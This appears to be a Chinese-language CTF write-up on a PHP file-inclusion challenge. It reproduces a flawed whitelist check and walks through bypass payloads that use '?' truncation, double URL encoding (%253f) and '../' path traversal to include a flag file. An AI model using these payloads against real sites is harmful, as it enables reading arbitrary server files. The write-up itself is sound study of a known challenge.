<?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?> 

自己试一试

$_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );

他会把问号后的过滤

<?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
				echo 2;
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
			echo 3;
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo 1;
    }  

?>

http://localhost/1.php?file=../../../../../../../../../../../ffffllllaaaagggg.php

填标记

输出:you can't see it31

?file=hint.php?../../../../../ffffllllaaaagggg 我们可以想象他传入checkFile函数要经历 第一次白名单验证,一次?过滤后,他就是hint.php ,再进行一次白名单验证 返回为真 则达成条件进行包含得到flag

?file=source.php%253f../../../../../ffffllllaaaagggg对?进行2次url编码，此时服务端解码一次，checkFile函数解码一次，结果仍是'?'，可以绕过

%253f=>%3f=>?

疑惑

文件包含看最后一个?,所以最后可以成功包含ffffllllaaaagggg?

但是include $_REQUEST['file'];很明显包含的是两次url加密的?,这怎么想呢